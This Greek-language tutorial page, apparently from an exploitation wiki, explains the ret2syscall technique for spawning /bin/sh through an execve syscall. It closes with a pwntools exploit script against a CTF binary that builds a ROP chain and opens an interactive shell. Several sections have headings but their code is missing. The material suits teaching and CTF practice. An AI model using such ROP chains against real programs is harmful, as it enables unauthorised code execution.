Ret2syscall
Ret2syscall
Βασικές Πληροφορίες
Αυτό είναι παρόμοιο με το Ret2lib, ωστόσο, σε αυτήν την περίπτωση δεν θα καλέσουμε μια συνάρτηση από μια βιβλιοθήκη. Σε αυτήν την περίπτωση, όλα θα είναι προετοιμασμένα για να καλέσουν το syscall sys_execve
με μερικά ορίσματα για να εκτελέσουν το /bin/sh
. Αυτή η τεχνική συνήθως εκτελείται σε δυαδικά που έχουν μεταγλωττιστεί στατικά, οπότε μπορεί να υπάρχουν πολλά gadgets και εντολές syscall.
Για να προετοιμάσουμε την κλήση για το syscall απαιτείται η ακόλουθη διαμόρφωση:
rax: 59 Καθορίστε το sys_execve
rdi: δείκτης προς "/bin/sh" καθορίστε το αρχείο προς εκτέλεση
rsi: 0 καθορίστε ότι δεν περνούν ορίσματα
rdx: 0 καθορίστε ότι δεν περνούν μεταβλητές περιβάλλοντος
Έτσι, βασικά απαιτείται να γράψουμε τη συμβολοσειρά /bin/sh
κάπου και στη συνέχεια να εκτελέσουμε το syscall
(έχοντας υπόψη το padding που απαιτείται για τον έλεγχο του stack). Γι' αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το /bin/sh
σε μια γνωστή περιοχή.
Ένα άλλο ενδιαφέρον syscall που μπορεί να κληθεί είναι το mprotect
το οποίο θα επιτρέψει σε έναν εισβολέα να τροποποιήσει τις άδειες μιας σελίδας στη μνήμη. Αυτό μπορεί να συνδυαστεί με το ret2shellcode.
Gadgets Εγγραφής
Ας ξεκινήσουμε βρίσκοντας πώς να ελέγξουμε αυτούς τους καταχωρητές:
Με αυτές τις διευθύνσεις είναι δυνατόν να γραφτεί το περιεχόμενο στο stack και να φορτωθεί στους registries.
Γράψτε συμβολοσειρά
Εγγράψιμη μνήμη
Πρώτα πρέπει να βρείτε ένα εγγράψιμο μέρος στη μνήμη
Γράψτε Συμβολοσειρά στη μνήμη
Στη συνέχεια, πρέπει να βρείτε έναν τρόπο για να γράψετε τυχαίο περιεχόμενο σε αυτήν τη διεύθυνση.
Αυτοματοποίηση ROP αλυσίδας
Η παρακάτω εντολή δημιουργεί μια πλήρη ROP αλυσίδα sys_execve
δεδομένου ενός στατικού δυαδικού όταν υπάρχουν γκατζέτ γραφής-τι-που-θέλω και εντολές συστήματος κλήσης:
32 bits
32 bits
64 bits
64 bits
Έλλειψη Gadgets
Αν σας λείπουν gadgets, για παράδειγμα για να γράψετε /bin/sh
στη μνήμη, μπορείτε να χρησιμοποιήσετε την τεχνική SROP για να ελέγξετε όλες τις τιμές των registries (συμπεριλαμβανομένων των RIP και των registries παραμέτρων) από το stack:
```python from pwn import *
target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')
Establish our ROP Gadgets
popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
Our syscall gadget
syscall = p64(0x40129c)
''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget
''' Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0
syscall '''
rop += popRax rop += p64(0x3b)
rop += popRdi rop += p64(0x6b6000)
rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)
rop += syscall
Add the padding to the saved return address
payload = "0"*0x408 + rop
Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Last updated